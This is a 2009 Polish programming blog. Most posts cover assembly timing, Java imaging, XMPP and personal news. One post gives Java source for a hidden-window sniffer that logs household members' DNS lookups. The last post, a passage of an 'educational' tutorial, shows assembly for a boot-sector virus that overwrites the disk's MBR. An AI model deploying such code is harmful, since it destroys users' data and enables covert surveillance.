poniedziałek, 26 października 2009

ASM: pomiar czasu wykonania kodu

Tak sobie co jakiś czas sprawdzam statystyki mojego bloga i okazuje się, że ludzie trafiają tu szukając rozwiązania problemu mierzenia czasu w assemblerze. Do tego jeszcze dwóch ciekawych rzeczy się dowiedziałem. Po pierwsze nie ma w sieci po polsku dobrze rozwiązanego tego problemu, albo nie ma go w ogóle, a po drugie mój blog pojawia się w wynikach wysoko przy tych poszukiwaniach. W tej sytuacji pozostało mi tylko odszukać rozwiązanie i opisać je samemu.

Aby więc zmierzyć czas wykonania kodu w assemblerze należy skorzystać z real-time clock wbudowanego w naszą maszynę i obsługiwanego przez BIOS. Niestety ma to 'urządzenie' pewną wadę. Mianowicie jego przerwanie generowane jest w stałych, stosunkowo dużych odstępach czasu, a dokładnie 55ms. Bez wątpienia nie nada się to do mierzenia czasu wykonania pojedynczych operacji.

Odczyt z RTC można wykonać korzystając z przerwania  1Ah i jego funkcji 00h. W wyniku w CX:DX otrzymujemy liczbę taktów od północy, a takt jak pamiętamy ma 55ms. Do tego jeszcze w AL uzyskkamy informację czy system pracuje dłużej niż 24h. Czyli jeśli pracuje dłużej niż 24h, to AL=1. Dokładne dane na temat tego przerwania można znaleźć w The Art Of Assembly Language Programming.

Tak jak w przypadku każdego pomiaru czasu należy pobrać wartości przed badanym blokiem i po nim, a następnie pierwszą odjąć od drugiej. Tutaj widać 2 niedogodności:
  1. trzeba odjąć od siebie 2 podwójne słowa,
  2. pomiar może być niedokładny.
 Wiemy jednak, że liczba druga jest większa lub równa pierwszej, więc możemy odjąć od siebie liczby po słowie i nie martwić się o pożyczki, a co do drugiego problemu, to maksymalny błąd wyniesie 54ms, czyli możemy uznać, że będzie pomijalnie mały. Oczywiście to zależy od tego co mierzymy. Jak zmierzymy wykonanie jednej instrukcji, to błąd będzie na poziomie 100% i możemy te dane wyrzucić. Jak zawsze działać należy z głową.

Wnikliwy umysł zauważy jeszcze jeden możliwy problem. Jeśli w czasie naszego pomiaru następi północ, to dowiemy się tylko, że była. Jeśli wystąpi raz, to jeszcze możemy wyliczyć czas do jej wystąpienia od startu i wyliczyć cały pomiar. Jeśli wystapi więcej niż raz, to niestety cały pomiar możemy wyrzucić, bo nie dowiemy się ile razy wystąpiła. W tej sytuacji pozostaje nam tylko skorzystanie z zegara systemowego (CMOS), który niestety ma dokładność do 1s, ale przyda się do takich dużych pomiarów.

Obrazek pochodzi z Freies Magazine.

czwartek, 22 października 2009

Java: tablica byte z BufferedImage

Jeśli chcemy przesłać obraz przy pomocy strumienia binarnego można odpowiednio zadziałać na strumieniu i wpisać do niego obiekt BufferedImage, ale niestety nie zawsze mamy ten luksus, że po drugiej stronie odbiorca będzie wiedział jak potraktować ten obiekt.

Jeśli konieczna jest kontrola nad sposobem pisania do binarnego strumienia, najlepiej dane wpisywać do niego w postaci tablicy byte. Tyczy się to oczywiście dowolnych danych.

Przekonwertowanie obrazu BufferedImage do postaci byte[] jest na szczęście w języku Java stosunkowo proste. Można do tego użyć poniższej funkcji lub stworzyć samodzielnie podobny kod:
private byte[] image_byte_data(BufferedImage image)
{
    WritableRaster raster = image.getRaster();
    DataBufferByte buffer = (DataBufferByte)raster.getDataBuffer();
    return buffer.getData();
}

Kod ten można znaleźć w kilku dobrych serwisach anglojęzycznych. W polskiej części sieci też się pewnie znajdzie, ale szukanie niestety nie jest takie łatwe. Ja osobiście nie umiem tworzyć ładnych zapytań dla google o polskie strony ;).

Kod pochodzi z Java Forums

sobota, 3 października 2009

Java: Smack i łączenie z jabber.org

Ostatnimi czasy rozpocząłem swoją przygodę z protokołem XMPP jako takim. Oczywiście jako zagorzały programista języka Java znalazłem właściwe rozwiązanie dla tej platformy. Dzięki bibliotece Smack możliwe jest bardzo szybkie wykonanie najprostszych operacji.

Niestety łączenie okazało się nie takim prostym zadaniem jak tutoriale głoszą. W przypadku polskich serwerów jabberpl.org, czy jabber.wp.pl było to zadanie łatwe, możliwe do ujęcia w 3 liniach kodu. Niestety w przypadku jabber.org było to dość problematyczne. Uwierzytelnianie przez TSL za każdym razem kończyło się niepowodzeniem.

W końcu gdzieś w sieci, na którymś anglojęzycznym forum znalazłem rozwiązanie. Przed połączeniem konieczne jest dodanie do programu jednej linijki, która ustala rodzaj szyfrowania. Dzięki temu skończyły się moje problemy z łączeniem z jabber.org. Linijkę kodu należy dodać przed logowaniem na serwer. Nie ma znaczenia, czy będzie to jeszcze przed, czy po połączeniu z serwerem. Szyfrowanie zostaje użyte dopiero przy uwieżytelnianiu.

SASLAuthentication.supportSASLMechanism("PLAIN", 0);


Mam nadzieję, że większość osób poszukujące rozwiązania znajdzie je wcześniej czy później. Powodzenia programistom Javy w zmaganiach z jakże przyjemną biblioteką Smack.

środa, 26 sierpnia 2009

Google AdSense: I po ch**u

Wielki google stwierdził ostatnio, że moje konto adsense jest zagrożeniem dla jego klientów i z tego powodu zostaje wyłączone. Cóż widać odnotowali "dużo" kliknięć z tego samego adresu. Albo cokolwiek tam google uważa sobie za złe i niegodziwe.

Google widać zbiedniał strasznie i grosza nie wyda za wyświetlanie reklam, które jak pamiętamy wyświetlane były w tym zakątku od początku jego istnienia. Odczuwam pewien powiew praktyk monopolistycznych ze strony tego giganta. Na razie czekam na wyjaśnienia, jednak coś tak czuję, że nawet zostanę olany. Jest na szczęście wiele innych miejsc, gdzie można prowadzić taki tech-blog i nie martwić się, że ktoś "z góry" będzie w nim mieszał.

Nie pozostaje więc nic za specjalnie jak czekać. przyznam szczerze wkurzyłem się. I pomyśleć, że jeszcze 2 tygodnie temu wydali 5 funtów na reklamę dla mnie abym skorzystał z adwords. No to smuteczek.

wtorek, 11 sierpnia 2009

DNSLogger do pobrania

Dzięki istnieniu wspaniałego SourceForge.net projekt DNSLogger dostępny jest już dla każdego zainteresowanego do pobrania. Aktualnie nadany został projektowy status Bety i numer 0.1.0, aczkolwiek przeprowadzone przeze mnie testy nie wykazały jak na razie żadnych błędów.

Dostępna jest oczywiście paczka z kodem i paczka "instalacyjna" zawierająca razem jsl pozwalający na uruchomienie DNSLoggera jako usługi w systemie MS Windows NT/2000/XP. Mile widziane są wszelkie uwagi na temat projektu i zgłaszanie wszelkich sugestii dla jego rozwoju.

DNSLogger wymaga do swego działania zainstalowanego w systemie JPcap. Paczkę dla swojego systemu znajdziesz pod TYM adresem. Opis projektu DNSLogger w tym blogu znajduje się pod TYM adresem.

JSL posiada własny plik konfiguracyjny. Został on przeze mnie skonfigurowany w taki sposób, aby plik jar znalazł się w folderze c:\logger\. W przypadku innej konfiguracji konieczne są zmiany w pliku konfiguracyjnym JSL. JSL posiada swoje howto gdzie opisane jest użycie aplikacji, a także znajduje sie link do opisu pliku konfiguracyjnego.

Projekt dostępny jest pod TYM linkiem. To pierwszy mój projekt tak szeroko udostępniony, ale na pewno nie ostatni.

Czytaj też:

poniedziałek, 10 sierpnia 2009

W robocie plaża

Zacznijmy może optymistycznie. Dwa posty temu pisałem o małym projekcie DNSLogger, który pozwala na logowanie wszystkich odwiedzanych przez użytkowników w sieci serwisów w sieci Internet. Dzięki małemu nakładowi pracy, a do tego pomocy wujka Googla udało się nieco usprawnić aplikację.

Pierwotnie DNSLogger był ukryty poprzez brak okna. Głupie i słabe. Aktualnie dzięki projektowi JSL moja aplikacja pracuje jako usługa w systemie MS Windows. Przetestowane i działa. Dzięki temu bez grzebania w rejestrze DNSLogger działa niezależnie od zalogowanego użytkownika. W najbliższym czasie zamierzam udostępnić tą i może jeszcze inne aplikacje do pobrania dla każdego zainteresowanego. Powinienem zrobić to już dawniej. Polecam zajrzenie do pierwszego opisu DNSLogger w poście Sieć na nasłuchu.

No to teraz mniej optymistycznie. Wakacje wakacjami, ale jeść trzeba. Pracuję aktualnie nad dwoma projektami na własny użytek, jednak niestety nie jest tak różowo jakbym chciał. Zwracam się z apelem do każdego odwiedzającego. Jeśli znasz kogoś, kto potrzebuje projektu w języku Java, lub C/C++ na zaliczenie, lub do innych celów, albo strony internetowej, proszę o polecenie biednego studenta informatyki z Warszawy (czyli mnie), lub zgłoszenie się do mnie na adres j_paszynski[at]wp.pl. Polecam się wszystkim.

Liczę nieco, że we wrześniu sytuacja finansowa nieco się zmieni, gdy obudzą się wszyscy szukający pomocy przy projektach na zaliczenie poprawkowe w kampanii wrześniowej. Możliwe jest też wsparcie mnie w prosty sposób poprzez klikanie w reklamy na blogu. Może piwo z tego kiedyś będzie.

wtorek, 21 lipca 2009

Polacy w ePolsce

Polityka nie jest tematem, który powinien gościć na tym blogu. Trudno jednak odmówić miejsca temu tematowi, jeśli w grę wchodzi MMO.

Natrafiłem na tę grę dzięki znajomemu i pierwotnie jak to ja podszedłem do niej sceptycznie. Ot znowu jakieś klikanie w przeglądarce, które pozornie przyniesie mi nieco korzyści w postaci rozrywki i budowania lichej więzi ze współplemieńcami jakiejś egzotycznej krainy targanej wiatrami odległej historii. Tym jednak razem czuję powoli, że nie miałem racji.

eRepublik jest grą tworzącą nieco inny rodzaj społeczności i więzi. Do świata gry politycznej, strategicznej, społecznej przeniesione są relacje społeczne świata rzeczywistego oparte na nacjach, narodowościach. Tutaj jednak znacznie łatwiej opowiedzieć się za którąś ze stron, a ponadto łatwo jest wziąć sprawy we własne ręce. Dostajemy w nie przecież narzędzia by czynić świat lepszym. Do dyspozycji mamy prasę, organizacje, partie polityczne i oczywiście wybory na wyższe i niższe stołki.

W świecie eRepublik (zwanym także eRep lub ER) dzięki wielu ułatwieniom wybory mogą odbywać się co miesiąc. O stałych datach obywatele przez 24h mogą iść do urny i oddać głos na swego kandydata. Nie każdy może stawiać krzyżyki, konieczne jest uzyskanie odpowiedniego poziomu, co odpowiada wiekowi w realu. Jednym się to podoba, innym nie, ale zyskujemy na każdym aktywnym graczu.

Pokrótki opis przeze mnie umieszczony nie koniecznie zachęci do eRepublik czytających. Pragnę tutaj wspomnieć o czymś, czego nie odczułem wcześniej w żadnej klikanej grze w przeglądarce. Mam tu na myśli żywą społeczność tworzącą więzi i stanowiącą aktywny organizm. Nie tylko istnieją relacje wewnątrz, ale także między narodowściami skutkujące paktami, sojuszami, a także oczywiście wojnami. W początkowej fazie gry, a w takiej właśnie jestem, nie ma wiele do roboty, więc można oddać się badaniu tekstów pisanych przez eObywateli w ramach eGazet, ale także na forach. Jest niesłychanie przyjemnym patrzeć jak to wszystko żyje. Polecam każdemu, komu nudzi się w realu tak na przykład przez pół godziny dziennie.

Jeśli nie podoba Ci się co dzieje się w realu, w politycznym burdelu, możesz zawsze zaczynając od prostego robola dojść do prezydentury pełnej sukcesów. eObywatele ePolski aktywnie uczestniczą w życiu politycznym, nie raz są świadomi swojej działalności, ale co wydaje się na codzień nieprawdopodobne swojej tożsamości narodowej i są w stanie jej bronić. Zachęcam do zwiedzenia tego świata. Nie naganiam, nie ciągnę na siłę. Wydaje mi się jednak, że większość inteligentnych znajdzie coś dla siebie w tym świecie.

EDIT:
Do tekstu dodane zostały reflinki. W ten sposób każdy nowozarejestrowany przez ten post, otrzyma należytą pomoc na starcie z mojej strony.

środa, 15 lipca 2009

Sieć na nasłuchu

Sieci komputerowe wymagają nadzoru. To nie podlega dyskusji. Nie chodzi jednak wyłącznie o nadzór techniczny. Niestety użytkownicy pozostawieni sami sobie są przyczyną wielu zagrożeń dla infrastruktury sieci, ale i bezpieczeństwa jej składowych. Jednym z głównych zagrożeń jest dostęp do nieautoryzowanych zasobów sieci www. W sieciach korporacyjnych dostęp do takich danych należy blokować, ale co robić w sieci domowej?

Jeśli w sieci istnieje brama domyślna zbudowana z jakiegoś PC, co jest bardzo dobrym rozwiązaniem, to możliwe jest kontrolowanie ruchu wychodzącego z sieci do i ze świata zewnętrznego. Przyjrzyjmy się na początek możliwościom nasłuchu, a nie samej kontroli ruchu.

Początkowo można polegać na różnych narzędziach dostępnych w sieci. Często jednak niestety są to kombajny wymagające sporej mocy obliczeniowej, albo wiedzy administratora. Prędzej czy później okazuje się, że do prowadzenia logów potrzebne są prostsze narzędzia.

Początkowo przydatny jest Wireshark (wspominany już wcześniej). Niestety to właśnie taki niewygodny kombajn. Nie tylko, że wymaga nieco wiedzy, to zbierane logi potrafią zajmować setki megabajtów, pomimo że zawierają całą masę zbędnych nam śmieci. Potem można zacząć szukać jakiś kompaktowych rozwiązań. Przyznam szczerze, że ja osobiście nic nie znalazłem.

Do stworzenia kodu, który zaprezentuję nakłonił mnie znajomy, albo może raczej zainspirował. Zaczęło się od zwykłego pytania "czy i jak można sprawdzać odwiedzane przez domowników strony www?". Sięgnąłem do swojej aktualnej wiedzy i stworzyłem DNSLogger. Wstępnie jest to aplikacja we wczesnej fazie alpha, która jeszcze nie powinna być szeroko stosowana. Z założenia działa, ale nie przeprowadziłem wystarczających testów.

Aplikacja składa się obecnie z dwóch klas. Jedna to już dość standardowy main, a druga to handler do przechwytywania pakietów. Nie znam się za bardzo na ukrywaniu programów w systemie. W C/C++ byłoby to stosunkowo proste, aczkolwiek w języku Java... Pojęcia nie mam gdzie nawet szukać. Pomysł jest jednak proszy. Wystarczy odwołać się do wiedzy o Swing i okienkach z niego. W ten sposób można dodać dość łatwo ukrytą aplikację i to głównie się dzieje w klasie Main.

klasa Main:
import java.io.IOException;

import javax.swing.JFrame;

import jpcap.JpcapCaptor;
import jpcap.NetworkInterface;
import jpcap.NetworkInterfaceAddress;
import jpcap.PacketReceiver;
import handler.dnsPacketReceiver;

public class Main
{

  static JpcapCaptor cap;
  static PacketReceiver rec;

  /**
   * @param args
   */
  public static void main(String[] args)
  {

    JFrame hid=new JFrame(\"SSERVICE\");
    hid.setVisible(false);
    hid.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    hid.setFocusable(false);
    hid.setEnabled(false);
    NetworkInterface[] devices = JpcapCaptor.getDeviceList();
    int index=0;
    if(args.length<1)

    {
      System.out.println(\"usage: java Main <eth nr>\");
      
      for (int i = 0; i < devices.length; i++) {

        System.out.println(i+\" :\"+devices[i].name + \"(\" + devices[i].description+\")\");
        System.out.println(\"    data link:\"+devices[i].datalink_name + \"(\"

            + devices[i].datalink_description+\")\");
        System.out.print(\"    MAC address:\");
        for (byte b : devices[i].mac_address)
          System.out.print(Integer.toHexString(b&0xff) + \":\");

        System.out.println();
        for (NetworkInterfaceAddress a : devices[i].addresses)
          System.out.println(\"    address:\"+a.address + \" \" + a.subnet + \" \"

              + a.broadcast);
      }
    }
    else
    {
      try {
        index=Integer.parseInt(args[0]);
        cap = JpcapCaptor.openDevice(devices[index], 2000, false, 20);
        rec=new dnsPacketReceiver();

      }
      catch (NumberFormatException e) {
        e.printStackTrace();
      }
      catch (IOException e){
        e.printStackTrace();
      }
      cap.loopPacket(-1, rec);
    }
  }

}

Klasa dnsPacketReceiver jest znacznie bardziej istotna. Jej zadaniem jest przechwycenie wszystkich pakietów protokołu UDP i z tych kierowanych na port 53 zapisanie do plików logów treści zapytania. Logi są podzielone na foldery wg IP i na pliki wg dat. W każdym pliku jednemu zapytaniu odpowiada wiersz z zapisanym czasem wysłania zapytania. Problemem może być tutaj tworzenie nowego pliku wg nowej daty. Jest to fragment jak dotąd nieprzetestowany.

klasa dnsPacketReceiver:
package handler;

import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;

import jpcap.PacketReceiver;
import jpcap.packet.Packet;
import jpcap.packet.UDPPacket;

public class dnsPacketReceiver implements PacketReceiver 

{
  private String fname;
  private Date date;
  private Date sdate;
  private BufferedWriter wr;
  private SimpleDateFormat df;
  

  public dnsPacketReceiver()
  {
    date=new Date();
    sdate=new Date();
    df=new SimpleDateFormat(\"yyyy-MM-dd\");
    fname=df.format(date)+\".txt\";
  }
  
  public void receivePacket(Packet p)

  {
    String line=\"\";
    int dprt = 0;
    SimpleDateFormat ft=new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");
    date=new Date();

    if(p instanceof UDPPacket)
    {
      UDPPacket t=(UDPPacket) p;
      dprt=t.dst_port;
      if(dprt==53)
      {
        line+=ft.format(date)+\" \";
        line+=t.src_port+\" \"+t.dst_port+\"\\t\";

        line+=t.src_ip.getHostAddress()+\"\\t\"+t.dst_ip.getHostAddress();
        String tmp=\"\";
        for(int i=13;t.data[i]!=0;i++)
        {
          if(t.data[i]<0x10)
          {
            tmp+=\".\";
          }

          else
          {
            char c=(char) t.data[i];
            tmp+=c;
          }
        }
        line+=\"\\t\"+tmp;
        //System.out.println(line);
        //sprawdz czy istnieje folder log

        try
        {
        File tmp_f=new File(\"./log/\");
        if(!tmp_f.exists())
          tmp_f.mkdir();
        //sprawdz czy istnieje folder dla IP
        tmp_f=new File(\"./log/\"+t.src_ip.getHostAddress()+\"/\");

        if(!tmp_f.exists())
          tmp_f.mkdir();
        //sprawdz czy nie ma juz nowego dnia
        newName();
        //sprawdz czy istnieje plik z dana data

        File f=new File(\"./log/\"+t.src_ip.getHostAddress()+\"/\"+fname);
        if(!f.exists())
          f.createNewFile();
        //stworz writer
        wr=new BufferedWriter(new FileWriter(f,true));
        //zapisz do pliku

        wr.write(line+\"\\n\");
        //zamknij plik
        wr.close();
        }
        catch (IOException e)
        {
          e.printStackTrace();
        }
        
      }
      else
        return;

    }
    else
      return;
  }
  
  private void newName()
  {
    Date tmp;
    tmp=new Date();
    SimpleDateFormat f=new SimpleDateFormat(\"dd\");

    int d1=Integer.parseInt(f.format(sdate));
    int d2=Integer.parseInt(f.format(tmp));
    
    if(d2-d1!=0)
    {
      sdate=tmp;
      fname=df.format(sdate)+\".txt\";
    }
  }
}

Aplikacja wymaga przy starcie podania numeru karty, na której prowadzony jest nasłuch. W najbliższym czasie wprowadzę pewne poprawki i udogodnienia. Gdy bliżej poznam się z filtrami z wireshark pozwolę sobie na dodanie ich do opcji aplikacji. Opcje zapisywania logów też się oczywiście przydadzą, więc i nimi trzeba się zająć.

Będę wdzięczny za wszelkie sugestie do tego kodu. W przyszłości przychodzi mi też do głowy opcja sterowania programem zdalnie przez Java RMI przykładowo i opcje statystyki logów dostępne zdalnie. To wszystko jest jednak nieco poza zasiegiem na najbliższy czas. Mam nadzieję, że ten pomysł i jego wykonanie przypadnie komuś do gustu.

Przechwytywanie pakietów odbywa się w trybie promicuus. Oznacza to, że może zostać odkryta przez innych użytkowników sieci. Brama domyślna nie może jednak być podejrzana. Zaawansowane działania sieciowe to jej zadanie ;).

środa, 1 lipca 2009

S.E.S.J.A.

Witam serdecznie po drobnej przerwie. Pragnę przekazać słowa otuchy wszystkim studentom, którzy mają pecha męczyć się jeszcze ze swoimi profesorami na egzaminach i zaliczeniach.

Już teraz informuję, że w okresie wakacji na cały miesiąc znikam z kraju kwitnącej korupcji, tak więc blog nie znowu nie będzie za często aktualizowany.

Drodzy bracia studenci, pamiętajcie, że kampania wrześniowa nie jest przekleństwem, a potrafi być nawet miłym gestem ze strony profesora. Są tacy co robią poprawki już w lipcu. Na otuchę do tego posta załączony jest miły studencki rebus. Dorzucam też emotsową wersję rebusu. Swoją drogą prędzej czy później trzeba będzie wydać pakiet emotsów, tak aby każdy mógł go sobie dodać do Kadu, albo Pidgina. To jednak bardzo odległa przyszłość.

Podzielę się z wami jeszcze moimi przemyśleniami na temat matur i przyszłości osób otrzymujących te wyniki. W prawdzie to temat numer jeden na prawo i lewo rozsiany po serwisach, ale jest mi w pewien sposób bliski. Jako student uczelni technicznej i przyszły jej adept już teraz muszę orientować się na rynku pracy. Prędzej czy później straszyć zaczyna perspektywa nasycenia branży z powodu innych absolwentów, szczególnie tych młodszych. Po przejrzeniu wyników matur, a wcześniej zadań maturalnych nie jestem za specjalnie przejęty tą perspektywą. Nie tylko, że nie zagrażają mojej pozycji na rynku pracy, ale jeszcze sami będą w stanie dostarczyć mi nieco pracy. Nie mówię tutaj, że ludzie są "głupi", ale poziom nauczania obniżył się tak bardzo, że widać już chyba dno gdzieś w pobliżu.

Niektórzy prawdopodobnie wiedzą, że w wolnych chwilach zajmuję się pomocą programistyczną dla studentów. Skoro programowanie to moja pasja, a ktoś nie ma czasu, zdolności, talentu etc. do napisania jakiegoś kodu, to może dostać go ode mnie z opisem pozwalającym na zaliczenie. W końcu pieniądz jest miarą pracy i czasu. Możemy się wymienić czasem. Będzie trzeba po wakacjach ogłosić gdzieniegdzie tą informację, aby jeszcze dorobić nieco zanim zakończę edukację an WAT. Polecam takie podejście innym obecnym studentom. Skoro utrzymujemy się na studiach, to możemy pomóc kolejnym rocznikom, aby poziom nauczania nieco się podniósł. Taka praca u podstaw ;).

Obrazek pochodzi ze strony Quiat Tuberkulozy.

sobota, 30 maja 2009

ASM: pisanie własnego MBR cz.3

Przechodzimy już do końcowego etapu tworzenia naszego wirusa wygodnie zadamawiającego się w MBR. W poprzednich częściach opisany został schemat ideowy rozwiązania, oraz kod odpowiadający za efekt wizualny. Prosty efekt wizualny uzyskiwany przez prosty kod. W tej części napisany zostanie kod odpowiedzialny za instalację "wirusa" w MBR.

Osoby, które nie przeczytały poprzednich części, muszę zasmucić, gdyż grafika dodana na początek tego postu nie jest wynikiem działania wirusa. Taki efekt graficzny, moim skromnym zdaniem popartym nie tak wielkim doświadczeniem, wymaga więcej jak 512B kodu i danych. Oczywiście można napisać wirus korzystający z MBR i reszty dysku mogący stworzyć taki efekt, jednak to nie jest celem tego artykułu. Przypominam, że naszym celem jest kod wykorzystujący tylko MBR i pamięć, a więc w zasadzie nie robiący dużych szkód na dysku.

UWAGA!
Kod tu zamieszczony i jego opisy służą tylko i wyłącznie w celach edukacyjnych. Autor nie ponosi odpowiedzialności za niewłaściwe ich wykorzystanie, szczególnie niezgodne z prawem.

Skoro wyjaśniliśmy sobie już powyższe, to można przejść do sedna sprawy. Przypomnijmy, że nasz kod ma wykonać prosty algorytm zawierający tylko 3 operacje na najwyższym poziomie abstrakcji.
  1. sprawdź czy program jest zainstalowany
  2. zainstaluj program
  3. wyświetl zawartość pamięci
  4. powrót do 3.
W tej części zajmiemy się dwoma pierwszymi funkcjami. Są one stosunkowo proste, ale znacznie rozszerzają cały projekt. W zasadzie rozszerzają go na tyle i wprowadzają nieco nowej wiedzy na temat budowy MBR w systemach Windows, że można każdej z nich poświęcić oddzielną część. Aby się nie zanudzić nie będziemy tego jednak robić.

Rozpoznaj siebie

W systemach windows na dysku w MBR znajduje się struktura pozwalająca na odczytanie znacznej ilości informacji na temat struktury logicznej dysku. W strukturze tej znajduje się na przykład nazwa systemu, czy etykieta dysku. Aby sprawdzić, czy na maszynie zainstalowany jest nasz "wirus" najlepiej będzie posłużyć się właśnie tą strukturą. Użyjemy pola, które znajduje się na początku i zawiera nazwę systemu.

      brINT13Flag     DB      90H             ; 0002h - 0EH for INT13 AH=42 READ
      brOEM           DB      \'?       \'      ; 0003h - OEM ID - Windows 95B

      brBPS           DW      512             ; 000Bh - Bytes per sector
      brSPC           DB      8               ; 000Dh - Sector per cluster

      brResCount      DW      32              ; 000Eh - Reserved sectors
      brFATs          DB      2               ; 0010h - FAT copies
      brRootEntries   DW      0               ; 0011h - Root directory entries

      brSectorCount   DW      0               ; 0013h - Sectors in volume, < 32MB
      brMedia         DB      0F8H            ; 0015h - Media descriptor

      brSPF           DW      0               ; 0016h - Sectors per FAT
      brSPH           DW      63              ; 0018h - Sectors per head/track

      brHPC           DW      128             ; 001Ah - Heads per cylinder
      brHidden        DD      63              ; 001Ch - Hidden sectors

      brSectors       DD      6305985         ; 0020h - Total number of sectors
      brSPF32         DD      6153            ; 0024h - Sector per FAT (FAT32)

      brFlags         DW      0               ; 0028h - Flags (FAT32)
      brVersion       DW      0               ; 002Ah - FS Version (FAT32)

      brRootCluster   DD      2               ; 002Ch - Root start cluster (FAT32)
      brFSInfoSector  DW      1               ; 0030h - FS Info Sector (FAT32)

      brBackupBoot    DW      6               ; 0032h - Backup Boot Record
      brReserved              TIMES 6 db 0    ; 0038h - Reserved

      brShitter               TIMES 6 db 0    ; 003Bh - Unused filler??
      brDrive         DB      80H             ; 0040h - BIOS drive number

      brHeadTemp      DB      00H             ; 0041h - Head/temp number????
      brSignature     DB      29H             ; 0042h - Extended Boot Record sig.

      brSerialNum     DD      404418EAH       ; 0043h - Volume serial number
      brLabel         DB      \'HARDDISK   \'   ; 0047h - Volume label

      brFSID          DB      \'FAT32   \'      ; 0052h - File System ID

Pole ma wystarczyć na zapisanie 8 znaków ASCII. Jak dla nas wystarczy aby miało 1B. Warto wybrać na wpisanie tam jakiś znak, który raczej się nie pojawi normalnie. Ja postawiłem na znak '?'. W zasadzie, to nieco więcej elementów wskazuje w strukturze na niepoprawny MBR. Nie ma w nim informacji o dyskach logicznych, przez co cały dysk od tego momentu będzie uznawany za obszar niesformatowany.

Zastosowanie całej struktury w tym przypadku nie ma wcale tak wielkiego sensu. W zasadzie tylko 2 pola wystarczą. 2 pierwsze pola. Można jednak rozszerzyć w przyszłości ten kod na tyle, aby kopiował główną część struktury z podstawowego MBR.

Czytamy z dysku

Aby móc sprawdzić obecność wirusa na dysku konieczne jest wczytanie MBR z dysku i porównanie jednego pola. Jak pamiętamy, do dyspozycji jest niemal cała pamięć operacyjna maszyny. W zasadzie miejsce do zapisania odczytanego MBR możemy wybrać dowolnie. jak pamiętamy sektor dla MBR znajduje się na samym początku dysku. Trzeba więc w odpowiedni sposób przygotować się do przerwania. Skorzystamy znowu z przerwania 13h z BIOS. Interesuje nas funkcja 02h. Dla funkcji przygotowujemy w:
  • ES:BX - adres bufora w pamieci
  • CS:DS - adres na dysku, ścieżka, głowica, sektor
Dla przerwania adres dyskowy danych trzeba upakować w rejestrach w nietypowy dość sposób. Polecam więc poczytać tutaj jak dokładnie to zrobić. Jako że czytamy z samego początku, nasze przygotowania są łatwe.

Przyjmujemy, że operacja czytania nie przyniosła nam żadnych błędów, była poprawnie zapisana i poprawnie przebiegła. W zasadzie, to jeśli nie, to co mamy z tym zrobić? Oczywiście jeśli kod jest błędny, to poprawić, ale jeśli wina leży po stronie dysku, to jedyne co nam pozostaje, to pominąć czytanie, pominąć pisanie i przejść do właściwego działania. Można jeszcze spróbować ponownie czytać z dysku. Błąd tutaj nie powinien się raczej pojawić, a jeśli się pojawi, to i tak nic na to nie poradzimy.

      MOV CX,0001h        ;numer sciezki i sektora do czytania
      MOV DX,0080h        ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego

      MOV BX,1000h
      MOV ES,BX
      XOR BX,BX
      MOV AX,0201h
      INT 13h             ;no to czytamy, przyjmujemy, ze nie bylo bledu

      
      MOV AH,BYTE [ES:BX+2]
      CMP AH,\'?\'
      JZ SHORT print_mem

Po przeczytaniu z dysku, trzeba tylko porównać znak w strukturze i skoczyć dalej do wykonania kodu w odpowiednim miejscu. Czyli jeśli nie natrafimy na znak '?'. To przechodzimy do instalacji.

Instalacja

Tutaj wszystko wygląda prosto. Nawet prościej niż przy sprawdzaniu, czy wirus jest już obecny w systemie. Przygotowujemy się do przerwania 13h, funkcja 03h i wykonujemy je. Dla testów można jeszcze wypisać na ekran w odpowiednim miejscu znak jakiś jeśli zapisaliśmy poprawnie sektor. Po wykonaniu przerwania informację taką przechowuje AL.

Gotowy kod

Czas pochwalić się gotowym kodem. Nie chce mi się opisywać wszystkiego nazbyt dokładnie. Obawiam się, że zaraz jakieś script kidies zaczną irytować się, że nie działa, albo zaraz cały ten kod z powodu używania trafi na czarne listy jako wstrętny wirus. Jak dobrze, że nie jest zdolny się mnożyć na tym poziomie. Tak więc poniżej kod całego wirusa.

Przypominam, bo nie każdy może zauważył, kody celowo zawierają drobne zmiany. Zmiany te wprowadzam dość automatycznie, ponieważ napisałem sobie skrypt pomagający mi opublikować kod z formatowaniem na blogu. Kodu nie da się skompilować od razu nie dlatego, że jest zły, tylko dlatego, że został zmieniony. Proszę odszukać "błędy", nanieść poprawki i miłej zabawy. Dla ciekawostki powiem, że tak samo jak błędy powstają automatycznie, tak też mogą być automatycznie usuwane. Powodzenia :).

    ;nasm -o bootsect.dos -f bin boot_vir.asm
    
    org 7c00h
    
    start:
      JMP SHORT cz_inst   ;skaczemy do poczatku kodu wlasciwego 

      
      brINT13Flag     DB      90H             ; 0002h - 0EH for INT13 AH=42 READ
      brOEM           DB      \'?       \'      ; 0003h - OEM ID - Windows 95B

      brBPS           DW      512             ; 000Bh - Bytes per sector
      brSPC           DB      8               ; 000Dh - Sector per cluster

      brResCount      DW      32              ; 000Eh - Reserved sectors
      brFATs          DB      2               ; 0010h - FAT copies
      brRootEntries   DW      0               ; 0011h - Root directory entries

      brSectorCount   DW      0               ; 0013h - Sectors in volume, < 32MB
      brMedia         DB      0F8H            ; 0015h - Media descriptor

      brSPF           DW      0               ; 0016h - Sectors per FAT
      brSPH           DW      63              ; 0018h - Sectors per head/track

      brHPC           DW      128             ; 001Ah - Heads per cylinder
      brHidden        DD      63              ; 001Ch - Hidden sectors

      brSectors       DD      6305985         ; 0020h - Total number of sectors
      brSPF32         DD      6153            ; 0024h - Sector per FAT (FAT32)

      brFlags         DW      0               ; 0028h - Flags (FAT32)
      brVersion       DW      0               ; 002Ah - FS Version (FAT32)

      brRootCluster   DD      2               ; 002Ch - Root start cluster (FAT32)
      brFSInfoSector  DW      1               ; 0030h - FS Info Sector (FAT32)

      brBackupBoot    DW      6               ; 0032h - Backup Boot Record
      brReserved              TIMES 6 db 0    ; 0038h - Reserved

      brShitter               TIMES 6 db 0    ; 003Bh - Unused filler??
      brDrive         DB      80H             ; 0040h - BIOS drive number

      brHeadTemp      DB      00H             ; 0041h - Head/temp number????
      brSignature     DB      29H             ; 0042h - Extended Boot Record sig.

      brSerialNum     DD      404418EAH       ; 0043h - Volume serial number
      brLabel         DB      \'HARDDISK   \'   ; 0047h - Volume label

      brFSID          DB      \'FAT32   \'      ; 0052h - File System ID

    cz_inst:
